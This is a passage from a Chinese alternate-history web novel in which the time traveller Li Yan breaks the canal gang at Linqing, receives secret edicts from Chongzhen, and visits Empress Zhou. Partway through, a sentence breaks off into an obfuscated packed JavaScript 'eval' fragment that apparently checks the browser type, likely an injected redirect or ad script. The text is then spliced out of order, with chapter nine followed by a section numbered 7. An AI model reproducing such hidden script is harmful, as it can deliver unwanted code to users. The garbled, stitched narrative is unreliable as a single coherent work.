“反弹就弹压。”李炎语气坚决，“我带了一千精兵，不够可以从山东卫所调。但更重要的是——”他看向史可法，“要争取底层漕工的支持。他们苦漕帮久矣，只要让他们看到实实在在的好处，就会站到朝廷这边。” 史可法若有所思：“太保的意思是……发动漕工？” “对。”李炎起身，走到窗前，望着楼下码头，“史尚书，你看那些扛包的、拉纤的、掌舵的——他们才是运河真正的主人。漕帮盘剥他们，官府忽视他们。现在，朝廷要给他们尊严，给他们活路。你说，他们会选谁？” 史可法看着李炎的背影，忽然觉得，这位年轻的太保，眼光之毒、手段之狠、心志之坚，远超他的年龄和阅历。 “下官……明白了。” --- 酉时·漕工聚所 临清码头西侧，有片棚户区，低矮的窝棚挨挨挤挤，污水横流。这里是底层漕工的住处，白日卖苦力，夜晚蜷在草席上，一干就是一辈子。 李炎换了粗布衣服，只带孙传庭和两个亲兵，悄悄来到这里。史可法本要同行，被李炎劝住——他身份太敏感，容易打草惊蛇。 窝棚区中心有片空地，搭着个草棚，算是“公所”。此时正是收工时分，几十个漕工围坐，就着凉水啃窝头。见有生人来，都警惕地抬头。 “各位兄弟，叨扰了。”李炎拱手，“我是京城来的，想打听点漕运的事。” 一个老漕工打量他：“打听什么？” “听说朝廷要改革漕运，不知兄弟们怎么看？” 漕工们交换眼神，没人说话。半晌，一个年轻汉子嗤笑：“改革？改来改去，苦的还是我们。去年也说减税，结果呢？税没减，还多了个‘清淤费’！” 众人附和，怨气冲天。 李炎不恼，在空地上坐下：“若这次改革，是真改革呢？比如——废除所有苛捐杂税，漕工工钱翻倍，每日现结，不拖不欠。” “做梦吧！”老漕工摇头，“朝廷哪有钱？” “朝廷没钱，但漕运有钱。”李炎平静道，“每年四百万石漕粮，实际损耗、贪墨超过百万石。把这些钱省下来，足够给十万漕工涨工钱。” 漕工们安静了。他们不傻，知道漕运腐败，但从没想过，腐败的钱能落到自己手里。 “你是谁？”年轻汉子问。 李炎亮出腰牌——不是官凭，是京营的令牌，“我是钦差李炎的属下，奉命来听听漕工的心声。李大人说了，改革能不能成，关键在兄弟们愿不愿意支持。” “李大人……就是那个擒了潘永年的李太保？” “对。” 漕工们骚动起来。潘永年被擒的消息已经传开，底层漕工拍手称快，但也担心漕帮报复。 “李太保真能扳倒漕帮？”老漕工颤声问。 “已经在做了。”李炎道，“但漕帮树大根深，需要兄弟们帮忙——比如，检举黑船、揭发贪官、提供线索。当然，有风险，漕帮会报复。所以李大人承诺：凡举报者，赏银十两；凡因举报遭报复者，朝廷养其全家。” 十两银子，够一家老小吃喝一年。重赏之下，必有勇夫。 漕工们心动了。但长期的压迫让他们不敢轻易相信。 李炎不再多说，起身：“三日后，码头会贴出告示，上面有具体章程。兄弟们可以看看，若觉得可行，就到漕运衙门报名。告辞。” 他走出棚户区，孙传庭低声道：“大人，他们会信吗？” “会。”李炎肯定，“因为他们没得选。要么继续被盘剥，要么搏一把。是人，都会选后者。” 正说着，前方巷口闪出几个人，挡住去路。为首的是个疤脸壮汉，提着短棍，身后跟着七八个混混。 “几位，聊完了？”疤脸咧嘴笑，“聊得挺开心啊。” 孙传庭拔刀：“让开！” “哎哟，军爷好凶。”疤脸不退反进，“不过这儿是临清，不是京城。哥几个奉命，请这位爷去喝杯茶。” 李炎眯起眼睛：“奉谁的命？” “漕帮，临清分舵。”疤脸冷笑，“潘老大虽然栽了，但漕帮还在。李太保动我们的饭碗，就别怪我们不讲情面。” 话音未落，他身后混混们亮出兵器——不是刀剑，是渔叉、铁钩、船桨，都是水上械斗的家伙。 孙传庭护住李炎：“大人先走！” 李炎却摇头，从怀中掏出一物——不是枪，是枚掌心雷。他点燃引信，扔向空中。 “砰！” 爆炸声在暮色中格外刺耳。瞬间，周围屋顶、巷口冒出数十名士兵——都是孙传庭提前埋伏的。 疤脸脸色大变：“有埋伏！” “拿下！”李炎冷声。 士兵合围。混混们虽悍勇，但如何是正规军的对手？不过片刻，全被制服。 疤脸被押到李炎面前，犹自挣扎：“李炎！你抓了我，漕帮不会放过你！临清码头，明天就得停摆！” “停摆？”李炎俯视他，“我倒要看看，是你们漕帮说话算数，还是朝廷说话算数。” 他对孙传庭道：“押回去，严加审讯。我要知道，临清分舵还有多少人，据点在哪里，与哪些官员勾结。” “是！” 回到驻地时，宋应星迎上来，面色凝重：“大人，刚收到消息——漕帮在江南发动了！” --- 戌时·紧急军情 烛火下，三封急报摊在桌上。 第一封来自扬州：漕帮煽动数千漕工罢运，堵截运河，要求释放潘永年，废除新政。 第二封来自淮安：当地漕帮分舵袭击漕运衙门，打死官员三人，劫走库银五千两。 第三封最严重——来自南京：“漕帮勾结太湖匪寇，聚众数万，扬言若朝廷不妥协，就断漕运，攻州县。” “他们反了！”孙传庭拍案。 史可法脸色苍白：“下官失察……没想到漕帮如此大胆。” 李炎却异常平静。他盯着地图，手指划过运河线：“不是反，是试探。漕帮在试探朝廷的决心，也在试探我的底线。” “大人，要不要调兵镇压？”孙传庭问。 “调兵需要时间，而且容易激起民变。”李炎摇头，“漕帮聪明，他们打的是‘为民请命’的旗号，裹挟的是底层漕工。若我们武力镇压，正中下怀——他们会说朝廷不顾百姓死活，引发更大动荡。” “那怎么办？总不能妥协吧？” “当然不能妥协。”李炎眼中闪过冷光，“但镇压要讲方法。史尚书。” “下官在。” “你立刻回南京，做三件事：第一，联络可靠官员、士绅，陈明利害，争取支持；第二，开仓放粮，赈济因罢运失业的漕工，釜底抽薪；第三，发布告示，凡主动脱离漕帮者，既往不咎，还可优先录用为新漕军。” 史可法眼睛一亮：“分化瓦解？” “对。”李炎道，“漕帮十万之众，核心不过万余，大多是被裹挟的苦力。只要让他们看到朝廷的诚意、漕帮的虚伪，人心自然离散。” “下官这就去办！” 史可法连夜启程。李炎又对宋应星道：“先生，新式漕船的建造，必须加快。我要在三个月内，看到第一批百艘船下水。” “时间太紧……” “紧也要做。”李炎沉声道，“有船，才有底气。没有船，漕运命脉就捏在别人手里。” 宋应星咬牙：“老朽尽力！” 最后，李炎看向孙传庭：“孙将军，你带五百兵，护送史尚书南下。记住，沿途若遇漕帮阻挠，可武力清除，但尽量不伤及无辜。” “末将领命！”孙传庭迟疑，“那大人您……” “我留在临清。”李炎望向窗外夜色，“漕帮不是想让我妥协吗？我就让他们看看，什么是真正的……雷霆手段。” --- 子时·暗室密议 临清城，某处私宅密室。 烛台下坐着五人。主位是个富态商人，姓钱，临清最大的粮商，也是漕帮在山东的白手套。左手边是个师爷打扮的瘦子，右手边是个武官——临清卫千户，姓赵。另外两人，一个是本地举人，一个是寺庙住持。 “李炎到临清才一天，就抓了我们三十多个兄弟。”钱老板脸色阴沉，“潘老大栽在他手里，现在他又要动临清。诸位，咱们不能坐以待毙。” 赵千户冷哼：“他有一千兵，我有三千卫所兵。真要动手，未必怕他。” “不可。”师爷摇头，“李炎是钦差，有尚方宝剑。动他，就是造反。朝廷正愁没借口收拾咱们呢。” “那怎么办？等着他抄家？”举人急了，“我家三百亩地，年年‘孝敬’漕帮，账本要是落到李炎手里……” “账本必须毁掉。”钱老板咬牙，“但李炎盯得紧，不好动手。所以，咱们得让他……分心。” “怎么分心？” 钱老板看向住持：“大师，您庙里不是收留了不少流民吗？挑些胆大的，明日去码头闹事，就说是李炎改革，断了他们活路。闹得越大越好。” 住持捻着佛珠：“阿弥陀佛，出家人……” “事成之后，捐香火钱一千两。”钱老板打断。 住持合十：“我佛慈悲，渡人苦难，也是功德。” 钱老板又对赵千户道：“赵大人，您手下的兵，明日‘恰好’去码头巡逻。若流民与李炎的兵冲突，您就……维持秩序。” “维持秩序？”赵千户会意，“明白，一定‘公平公正’。” 最后，钱老板对师爷说：“先生，您联络南京那边，让他们再加把火。李炎不是要改革吗？咱们就让整个江南乱起来，看他顾哪头！” 五人密议到丑时才散。他们不知道，密室屋顶上，一个黑影悄然离去。 --- 寅时·李炎驻地 黑影是锦衣卫三人组中的“夜枭”，擅长潜伏追踪。他将密议内容原原本本汇报给李炎。 “果然沉不住气了。”李炎听完，冷笑，“流民闹事，卫所兵‘维持秩序’……好计策。可惜，用错了人。” 他唤来陈平：“去请宋先生。” 宋应星匆匆而来，睡眼惺忪：“大人有何吩咐？” “先生，我记得您设计过一种‘烟雾弹’？” “是。”宋应星点头，“用硝石、硫磺、木屑混合，点燃后产生浓烟，可遮蔽视线，但无毒。原想用于火攻时掩护撤退。” “现在有多少？” “材料充足，可现配百枚。” “好。”李炎下令，“立刻配制，明日我要用。” 又对夜枭道：“你带人去盯住那五个人，尤其钱老板和赵千户。他们有任何异动，立即回报。” “遵命。” 众人领命而去。李炎独自站在窗前，望着夜色中的临清城。 这座城市繁华，但繁华之下，是无数利益交织的暗网。漕帮、粮商、卫所、士绅、寺庙……他们盘踞在此几十年，早已形成利益共同体。现在，他要打破这个共同体，必然遭到疯狂反扑。 但，那又如何？ 他来到这个时代，本就是要翻天覆地。 “大人，您该休息了。”春梅轻声道。 李炎转身，看着这个一路跟随的宫女，忽然问：“春梅，你怕吗？” 春梅摇头：“有大人在，奴婢不怕。” “如果……我败了呢？” “那奴婢就陪大人一起。”春梅声音很轻，但坚定，“反正这世上，奴婢也没什么牵挂了。” 除了那个生死未卜的弟弟。 李炎心中涌起暖意，也涌起责任。他不仅要救大明，还要救这些具体的人——春梅，漕工，还有千千万万在乱世中挣扎的百姓。 “去睡吧。”他柔声道，“明天，还有一场硬仗。” --- 卯时·码头骚动 天刚亮，码头就出事了。 数百流民突然涌来，喊着“要活路”“反改革”，冲击漕运衙门临时办公点。守卫士兵试图阻拦，但流民中有混入的漕帮打手，故意推搡冲突，局面迅速失控。 “打人了！官兵打人了！”有人尖叫。 混乱中，赵千户带着三百卫所兵“及时”赶到，将流民和守卫隔开。但卫所兵明显偏袒流民，对守卫推搡喝骂。 “都住手！”李炎的声音从高处传来。 他站在码头货栈二楼，身后站着宋应星和二十名亲兵。晨光中，他的身影挺拔如松。 “李太保！”赵千户拱手，“末将正在维持秩序，这些流民……” “流民？”李炎打断，“我怎么看到，有人袖藏短棍，有人腰间别刀？赵千户，你维持秩序，就是这样维持的？” 赵千户脸色一变。 李炎不再理他，面向流民：“诸位乡亲，我是钦差李炎。你们有什么诉求，可以派代表来说。但冲击衙门，是重罪。” 流民安静了一瞬，随即有人喊：“我们要活路！你改革漕运，断了我们生计！” “改革不是断生计，是给新生计。”李炎朗声道，“从今日起，临清码头招募漕工，日薪三十文，管两顿饭，工钱日结。凡报名者，先发三日工钱作安家费！” 这话一出，流民哗然。三十文，比现在漕帮给的工钱高一倍，还日结、管饭？ “真的假的？” “骗人的吧？” 李炎挥手，亲兵抬出三口大箱，打开——里面是满满的白银和铜钱。 “钱就在这里。”李炎道，“想报名的，现在就可以领钱。但有一条——领了钱，就要守规矩，听调度。闹事者，不但没工钱，还要治罪。” 流民犹豫了。大多数人只是被煽动，并非真想造反。现在有实实在在的好处，谁还愿意闹？ 混在人群中的漕帮打手急了，高喊：“别信他！朝廷什么时候说话算数过？领了钱，明天就抓你充军！” 李炎眼神一厉：“宋先生。” 宋应星点头，对身边工匠示意。十几个陶罐被点燃，扔向打手聚集处。 “砰砰砰——” 陶罐炸开，喷出浓密白烟，瞬间笼罩那片区域。打手们被烟呛得咳嗽流泪，慌乱中现了原形——他们抽出短棍、匕首，与周围真正的流民截然不同。 “拿下！”李炎下令。 亲兵冲入烟中，精准抓捕。不过片刻，三十多个打手全被制服。 烟散，流民们看清真相，顿时怒了：“他们是漕帮的人！故意煽动我们！” “对！我们被骗了！” 民心瞬间逆转。李炎趁热打铁：“现在，愿意报名的，到这边登记。不愿意的，可以离开，绝不追究。” 大多数流民涌向登记处。少数迟疑的，也默默退走。 赵千户脸色铁青，想说什么，却见李炎冷冷看向他：“赵千户，你维持秩序有功，本官会向朝廷为你请功。不过……”他话锋一转，“本官接到举报，说你与漕帮勾结，克扣军饷，私设关卡。此事，本官会查实。在查清之前，你的兵，撤出码头。” “你！”赵千户怒目而视。 李炎亮出七星令：“赵千户，要抗命吗？” 赵千户咬牙，最终低头：“末将……遵命。” 卫所兵撤走。码头秩序恢复，甚至比之前更有序——新招募的漕工干劲十足，因为他们看到了希望。 --- 巳时·乘胜追击 首战告捷，李炎没有停歇。 他命人张贴告示，公布《漕运改革章程》，同时宣布：即日起，临清码头所有货栈、仓库，接受官府清查。凡配合者，既往不咎；凡隐瞒、抗拒者，一律查封。 钱老板的粮仓首当其冲。当官兵上门时，他还在家中喝茶，以为李炎不敢动他——他在临清经营三十年，上下打点，自以为根基深厚。 “钱老板，这是搜查令。”带队的是孙传庭留下的副将，“请配合。” “你们敢！”钱老板拍案，“我是临清商会会长，与布政使大人……” “与谁都没用。”副将冷声，“李太保有令：凡阻挠清查者，当场拿下。钱老板，你要试试吗？” 钱老板看到门外全副武装的士兵，终于怂了。 清查结果触目惊心：钱家仓库里，不仅有囤积的粮食，还有走私的盐铁、甚至军械。账本更惊人——上面记录了历年贿赂官员的明细，从知县到布政使，涉及山东官场半壁江山。 “抄家。”李炎下令，“钱老板押入大牢，账本封存，另抄一份快马送京。” 同时，赵千户的卫所也被查。查出克扣军饷三万两，私设关卡收费五万两，与漕帮分赃记录清清楚楚。 “一并拿下。” 一日之间，临清两大巨头倒下。消息传开，全城震动。其他商户、官员惶惶不可终日，有连夜出逃的，有主动投案的，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“要改，就改彻底。”顾炎武目光炯炯，“不仅要改革漕运，还要改革税制、军制、科举。但饭要一口口吃，漕运是突破口。只要漕运改革成功，就能证明新政可行，就能争取更多支持。” 李炎与宋应星对视，都看到对方眼中的振奋。 有了顾炎武加入，改革团队如虎添翼。 “先生若不嫌弃，请任漕运总督衙门顾问，参赞改革。”李炎郑重邀请。 顾炎武深深一揖：“固所愿也，不敢请耳。” --- 未时·江南急报 正当李炎与顾炎武、宋应星商议细节时，又一封急报传来。 这次不是坏消息——史可法在南京取得突破。 他联合南京六部中正直官员，说服魏国公徐弘基（徐达后人）出面调停。徐家在江南威望极高，他一表态，许多观望的士绅开始动摇。 同时，史可法开仓放粮，招募失业漕工修堤、疏浚，以工代赈，稳住了局面。 更关键的是，他查出了漕帮与南京某些官员勾结的证据，当众公布。舆论哗然，漕帮从“为民请命”变成了“官商勾结”，人心尽失。 “史尚书好手段！”宋应星赞叹。 顾炎武却皱眉：“虽暂时稳住，但根本问题未解。江南士绅对朝廷离心，不是一天两天了。太保，您可知，江南民间流传一句话？” “什么话？” “‘崇祯皇帝坐北京，不如李闯王坐南京。’” 李炎瞳孔一缩。这话太毒了，但反映了一个残酷现实——在江南百姓看来，远在北京的朝廷，除了收税加派，没带来任何好处。而近在眼前的漕帮盘剥、官员腐败，却是实实在在的苦难。 “所以改革必须成功。”李炎沉声道，“要让江南百姓看到，朝廷能为他们做主，能带来实实在在的好处。” 他提笔给史可法回信，提出新方案： 一、在江南试行“漕粮折银”，百姓可按市价交银代粮，免去运输损耗。 二、将漕运盈余的百分之三十，返还地方，用于修桥铺路、兴办学堂。 三、在南京设立“漕运议会”，由地方士绅、漕工代表、官员共同议事，监督漕运。 “这……”顾炎武看完，神色复杂，“太保，这三条若施行，等于把部分漕运权力下放地方。朝廷那边……” “朝廷那边，我去说服。”李炎道，“权力下放不可怕，可怕的是权力滥用。只要监管到位，让利于民，反而能凝聚人心。” 他想起后世“分税制”的经验——中央与地方合理分权，才能激发活力。大明的问题，就是中央集权过度，地方毫无积极性。 “太保远见，草民佩服。”顾炎武深深一揖。 --- 申时·潘永年的供词 地牢里，潘永年终于开口了。 连续三天的审讯，锦衣卫用尽了手段——不是酷刑，是心理战。他们让潘永年看到漕帮分舵一个个被端，同党一个个落网，最后连他最信任的师爷也招供了。 “我说……我都说……”潘永年瘫在草席上，眼神涣散，“但我要见李炎……只见他。” 李炎亲自来到地牢。 潘永年看着他，忽然笑了：“李太保，你赢了。但你知不知道，你动了多少人的饭碗？” “愿闻其详。” “从杭州到通州，运河沿线，靠漕运吃饭的，不下百万人。”潘永年声音嘶哑，“漕帮只是明面上的，暗地里，有多少官员、士绅、商贾，靠着漕运发财？你改革，断的不是漕帮的财路，是整个利益集团的财路。” “我知道。” “知道你还敢做？”潘永年瞪大眼睛，“你就不怕……被暗杀？被下毒？被栽赃？这运河上，死个钦差，不算什么新鲜事。” 李炎平静地看着他：“怕，但我更怕大明亡国。潘永年，你也算个人物，难道就甘心看着这条运河，烂下去？” 潘永年沉默良久，忽然问：“李太保，若我全招了，能活吗？” “不能。”李炎实话实说，“你罪行太重，必须死。但如果你配合，我可以保你家人平安，不抄家，不株连。” 这对潘永年来说，已经是最好结果。他闭目良久，终于道：“好，我招。” 他招供的内容，触目惊心： 漕帮不仅走私、贪墨，还与关外有贸易——向满清出售铁器、火药、药材，换取人参、毛皮。更可怕的是，他们暗中资助一些“山寨”，假扮流寇劫掠，实则控制地方。 “还有……”潘永年犹豫片刻，“漕帮与宫里……也有联系。” “宫里？谁？” “具体是谁，我不知道。但每年，都有一笔十万两的银子，从漕帮账上划走，送往北京某个府邸。接头的是个太监，姓……姓杜。” 杜勋！坤宁宫总管太监！ 李炎心中一寒。原来漕帮的靠山，不只是地方官员，还有宫里！难怪如此猖狂。 “账本呢？” “在……在杭州总舵，密室暗格里。”潘永年喘着气，“暗格机关，只有我和师爷知道。师爷已招，你应该拿到了。” 李炎确实拿到了。但他没想到，这账本牵扯如此之深。 “还有什么要说的？” 潘永年看着他，忽然道：“李太保，你是个能臣，但……太急了。大明这艘船，已经千疮百孔，你修得再快，也快不过沉没的速度。” “那就尽力让它沉得慢一点。”李炎起身，“至少，让船上的人，有机会上救生艇。” 他走出地牢，阳光刺眼。 春梅等在门外，递上披风：“大人，宫里来人了。” --- 酉时·天使到来 来的是个年轻太监，姓高，司礼监随堂太监，王承恩的干儿子。他带来崇祯的密旨。 密旨内容让李炎心惊： 一、漕运改革照常进行，但“不宜过激”，以免激起民变。 二、涉及宫里的事，“暂缓查处”，等“时机成熟”。 三、命李炎“速往大同”，安抚吴三桂，务必使其“不生异心”。 显然，崇祯收到了某些压力，妥协了。宫里那条线，他暂时不想动。 李炎心中涌起无力感。这就是政治——有时候，明知是毒瘤，也不能马上割，因为牵扯太多。 “李太保，皇上还有口谕。”高太监低声道，“皇上说：爱卿之心，朕知之。但治大国如烹小鲜，不可操之过急。有些事……要等。” 等什么？等时机，等实力，还是等……崇祯下决心？ 李炎不知道。但他知道，自己不能停。 “臣领旨。”他躬身，“请公公回禀皇上：臣必稳妥行事，但改革……不会停。” 高太监深深看了他一眼：“太保保重。” 太监走后，顾炎武和宋应星进来，面色凝重。他们都猜到了密旨内容。 “太保，还要继续吗？”宋应星问。 “继续。”李炎斩钉截铁，“但策略要调整——宫里那条线，暂时不动。但地方上的贪官污吏、漕帮余孽，继续清除。改革照常推进，只是……低调些。” 他看向顾炎武：“先生，可能要委屈您，暂时不在明面上任职。但改革方案，还需您全力协助。” 顾炎武洒脱一笑：“草民本就是一介布衣，无所谓明面暗面。能为天下做些实事，足矣。” “好。”李炎铺开地图，“接下来，我们要做三件事：第一，巩固临清成果，将新漕制推广到整个山东段；第二，准备北上大同，会会吴三桂；第三……” 他顿了顿：“秘密调查宫里那条线。不动，不等于不查。等时机成熟，这些账，都要算。” --- 戌时·临别之夜 夜色降临，运河上灯火点点。 李炎站在码头，望着南下的船队——史可法已经稳住江南，改革有了基础；顾炎武留在临清，继续完善方案；宋应星的新船正在建造，未来可期。 但他，要北上了。 去大同，见那个历史上毁誉参半的吴三桂。是安抚，是拉拢，也是……戒备。 “大人，船备好了。”孙传庭走来，“五百精兵，明日出发。” 李炎点头。他看向身边的春梅：“你……留在临清吧。这里安全些，等我从大同回来，再带你去保定找你弟弟。” 春梅却摇头：“奴婢跟大人去。” “大同危险。” “哪里不危险？”春梅轻声道，“这世道，没有安全的地方。奴婢……想跟着大人。” 李炎看着她眼中的坚定，终于点头：“好。” 夜风起，带来运河的水汽，也带来远方的气息。 前路依然艰险，但李炎心中，却比来时多了几分底气。 因为他不是一个人在战斗了。有史可法在江南周旋，有顾炎武在临清谋划，有宋应星在改造船只，还有千万渴望改变的百姓。 星星之火，可以燎原。 而他，要做那点火的人。 “走吧。”他转身，“去大同。” 月光洒在运河上，波光粼粼，如一条银色的路，通向不可知的远方。 而李炎，将沿着这条路，继续走下去。 直到，为这个时代，点亮新的黎明。 【第九章完】 7. 紫禁城深处 子时·武英殿密室 烛火在铜灯里摇曳，将崇祯与李炎的身影投在墙上，拉得很长。赐宴的喧嚣早已散去，乾清宫的庆功酒气被夜风吹散，此刻的武英殿偏殿密室里，只有君臣二人。 “爱卿可知，朕为何深夜召见？”崇祯的声音很轻，带着宴后的疲惫，但眼神清醒得可怕。 李炎躬身：“臣愚钝。” 崇祯从御案下取出一只紫檀木匣，推开暗锁。匣内没有金银珠宝，只有一叠泛黄的文书。他抽出最上面一封，递给李炎。 “看看。” 李炎接过，就着烛光细读。越读，手心冷汗越多。 这是锦衣卫的密报，时间标注是三个月前——那时李自成刚破太原。密报详细记载了朝中二十三官员与闯军的秘密往来，名单触目惊心：有六部侍郎，有都察院御史，甚至还有一位皇室宗亲。 “陛下……这些……” “都是真的。”崇祯的声音平静得令人心寒，“锦衣卫查了半年，人证物证俱在。朕一直压着，等的就是今天。” 李炎忽然明白了。庆功宴上的封赏，朝堂上的赞誉，都是表象。真正的清算，现在才开始。 “陛下要臣……” “不是要你杀人。”崇祯打断，“是要你……给他们一条生路。” 李炎愕然抬头。 烛光下，这位年轻皇帝的脸上有深深的疲惫，但也有一种罕见的、近乎悲悯的清醒：“北京守住了，但大明还在悬崖边上。闯贼虽退，元气未伤；清虏虽走，野心未灭。朝廷……经不起大清洗了。” 他走到窗前，望着夜空：“朕登基十七年，杀了多少大臣？袁崇焕、陈新甲、薛国观……杀了一个，又来一个。党争不绝，贪腐不止。朕累了，也明白了——杀人解决不了根本。” “那陛下的意思是……” “让他们自己选。”崇祯转身，眼中闪过一丝决绝，“名单上的人，三日内，自行辞官还乡，朕不追究。若三日后还在朝堂……就别怪朕无情了。” 李炎心中震动。这比直接杀人更狠——逼人自断前程，还要感恩戴德。而且名单一旦泄露，这些人为了自保，很可能互相攀咬，引发更大动荡。 “陛下，此事若处理不当……” “所以朕交给你。”崇祯直视李炎，“你守住了北京，在军中有了威望，在民间有了名声。更重要的是——你不是这个圈子的人。” 他走到李炎面前，压低声音：“朝堂这潭水太深，朕身边的人，或多或少都有牵扯。只有你，李炎，你是从天而降的变数，跟谁都没有瓜葛。” 李炎明白了。崇祯要用他这把“新刀”，去斩那些盘根错节的旧藤。 “臣……需要权柄。” “朕给你。”崇祯毫不犹豫，“明日朝会，朕会加封你为‘太子太保、总督天下兵马’，赐蟒袍玉带，有先斩后奏之权。但真正的权柄……” 他取出一枚黑铁令牌，正面刻“如朕亲临”，背面是北斗七星图案。 “这是‘七星令’，太祖所制，专为处置谋逆大案。持此令者，可调锦衣卫，可入任何衙门，可见任何人——包括朕的后宫。” 李炎接过令牌，入手冰凉沉重。他知道，接下的不只是权力，更是万钧重担。 “名单上的人，朕已经暗中见过三个。”崇祯的声音更低了，“他们愿意戴罪立功，做朕的耳目。具体是谁，朕不能说，但他们会暗中助你。” “陛下信他们？” “不信。”崇祯苦笑，“但朕别无选择。李炎，大明就像一艘漏水的船，朕能做的，就是一边舀水，一边找木板修补。而你和这些人……就是朕找到的木板。” 李炎沉默良久，终于单膝跪地：“臣……领旨。” “起来。”崇祯扶起他，“还有一事——吴三桂。” 李炎心中一紧。 “锦衣卫探得，吴三桂并未随多尔衮回关外，而是驻兵三河县，正在招兵买马。”崇祯盯着他，“你说，他想做什么？” “观望。或者……待价而沽。” “朕也这么想。”崇祯眼中闪过厉色，“但朕不能让他观望太久。爱卿，给你一个月时间，整合京营，整饬边防。一个月后，朕要你……去会会这位平西伯。” 不是征讨，是“会会”。李炎听出了弦外之音——崇祯对吴三桂还抱有期待，或者说，不得不抱有期待。 “臣明白了。” “去吧。”崇祯挥挥手，忽然咳嗽起来，咳得撕心裂肺。王承恩从暗处闪出，递上药碗。 李炎这才注意到，崇祯的脸在烛光下苍白得可怕，眼窝深陷，完全是强撑着一口气。 “陛下保重龙体。” 崇祯摆摆手，待咳嗽稍平，才哑声道：“朕的身体朕知道。李炎，大明……朕就托付给你了。” 这话太重了。李炎想说些什么，但最终只是深深一揖，退出密室。 门外，夜风刺骨。 --- 寅时·李炎府邸 说是府邸，其实是临时拨给他的一处三进院落，原主人是个已逃往南京的侍郎。李炎回到时，已近寅时，但书房里还亮着灯。 推门进去，宋应星正伏案画图，旁边堆着厚厚一叠草稿。老人听见动静抬头，眼中血丝密布。 “先生还没休息？” “睡不着。”宋应星指着图纸，“李大人请看，这是老朽设计的‘自生火铳’。” 李炎凑近细看。图纸上的火枪结构复杂，但原理清晰——利用燧石击发后，通过一套齿轮连杆，自动完成退壳、装弹、闭锁的过程。 “这……能实现吗？” “理论上可以。”宋应星在关键部位标注，“难点在于弹簧钢的强度和齿轮精度。老朽已命工匠试制了三个样品，都失败了——要么卡壳，要么炸膛。” 他叹了口气：“若是时间充裕，给老朽三年，或许能成。但现在……” “三年太久了。”李炎摇头，“我们需要马上能用的东西。” “那这个。”宋应星抽出另一张图纸，“改良版‘一窝蜂’火箭。” 这是明代已有的兵器，一次可发射三十二支火箭，但精度差，射程近。宋应星的改良版增加了稳定尾翼，改进了发射架，还设计了可调节仰角的基座。 “试射过了？” “午后试了三发，最远射程六百步，三十步内散布可接受。”宋应星难得露出笑容，“关键是好造，一个熟练工匠一日可产两具。” “好！”李炎拍案，“立刻量产，先造一百具，配属四大城门。” “还有这个。”宋应星又取出一物——那是个铁壳圆球，拳头大小，表面有网格纹路。 “这是……” “掌心雷。”老人眼中闪过冷光，“外壳铸铁，内装火药铁砂，留一小孔装引信。使用时点燃引信，投掷出去。虽不及大人带来的手雷，但胜在易造，日产百枚不难。” 李炎拿起一颗掂量，约莫一斤重，投掷距离不会太远，但用于巷战或守城，足够了。 “先生真乃国士。”他由衷道。 “国士不敢当。”宋应星摆摆手，“老朽只是不忍见神州陆沉罢了。李大人，有句话不知当讲不当讲。” “先生请说。” “今日庆功宴上，老朽观察百官神情，真正为北京守住而高兴的，不到三成。”宋应星压低声音，“更多的人……在害怕。” “怕什么？” “怕您。”老人直言不讳，“您守住了城，得了军心民心，又深得皇上信任。在某些人看来，这比李自成破城更可怕。” 李炎沉默。他知道宋应星说得对。朝堂政治远比战场复杂，有时候，盟友比敌人更危险。 “多谢先生提醒。” “另外……”宋应星犹豫片刻，“老朽听闻，嘉定伯周奎虽已下狱，但其党羽仍在活动。还有，坤宁宫那边……” “先生听到了什么？” “宫中有传言，说皇后娘娘绝食三日了。”宋应星叹息，“皇上虽未废后，但坤宁宫已被软禁。那些外戚故旧，怕是会借此生事。” 李炎心中一沉。这事处理不好，会引发更大的政治地震。 正说着，门外传来脚步声。陈平的声音响起：“大人，曹化淳曹公公求见，说有急事。” 李炎与宋应星对视一眼：“请他进来。” 曹化淳不是一个人来的，他身后还跟着个被黑袍罩住全身的人。进了书房，黑袍人掀开兜帽，露出一张苍白但秀丽的脸——竟是春梅。 “春梅？你怎么……” “李大人救命！”春梅扑通跪地，泪如雨下，“皇后娘娘……娘娘要寻短见！” --- 卯时·坤宁宫 坤宁宫大门紧闭，门外站着八名锦衣卫，按刀而立。见李炎和曹化淳来，为首的百户躬身行礼：“李大人，皇上有旨，任何人不得入内。” 李炎亮出七星令：“皇上密旨，让我见皇后。” 百户验过令牌，这才放行。曹化淳留在门外，李炎独自入内。 宫殿里没有点灯，只有晨光从窗棂透入，在地上投下斑驳光影。周皇后坐在凤榻上，穿着素白常服，未施粉黛，头发散乱。她怀里抱着个木盒，眼神空洞。 “臣李炎，参见皇后娘娘。” 周皇后缓缓抬头，看着李炎，忽然笑了，笑声凄楚：“李侍郎……不，现在是李太保了。你是来赐白绫的，还是来送毒酒的？” “臣是来救娘娘的。” “救？”周皇后笑声更厉，“本宫通敌卖国，罪该万死，还有什么可救的？” 李炎走近几步，压低声音：“娘娘若是真想死，三天前就该死了。既然等到今天，说明娘娘……还想活。” 周皇后浑身一震，抱紧木盒。 “盒子里是什么？”李炎问。 周皇后迟疑良久，终于打开盒盖。里面没有金银珠宝，只有一叠信——都是她父亲周奎写给她的，时间跨度长达三年。 李炎快速翻阅。早期的信还正常，多是家常问候；从去年开始，信里开始出现“早做打算”“留条后路”之类的暗示；最近三个月，更是明目张胆地劝她“为家族计，不可愚忠”。 最后一封信，是城破前三日写的：“闯王仁厚，必不害我周家。吾儿当劝陛下早降，可保富贵……” “这些信，皇上知道吗？”李炎问。 周皇后摇头，泪如雨下：“本宫不敢说……父亲每次来信，都让本宫阅后即焚。但本宫……舍不得烧。那是本宫的亲爹啊……” 她忽然抓住李炎衣袖：“李大人，本宫求你一件事——让本宫见皇上最后一面。有些话，本宫要亲口对他说。” “什么话？” “关于……太子。” 李炎瞳孔一缩。 周皇后从木盒底层取出一枚玉佩，塞到李炎手中：“这是本宫的贴身之物。你交给皇上，他就明白了。” 玉佩温润，刻着并蒂莲图案，背面有个小小的“检”字——崇祯的名字朱由检。 “娘娘，太子他……” “太子不在宫中。”周皇后声音低得几乎听不见，“三日前，本宫已命心腹太监，将太子和永王、定王送出宫，藏在……” 她凑到李炎耳边，说了个地址。 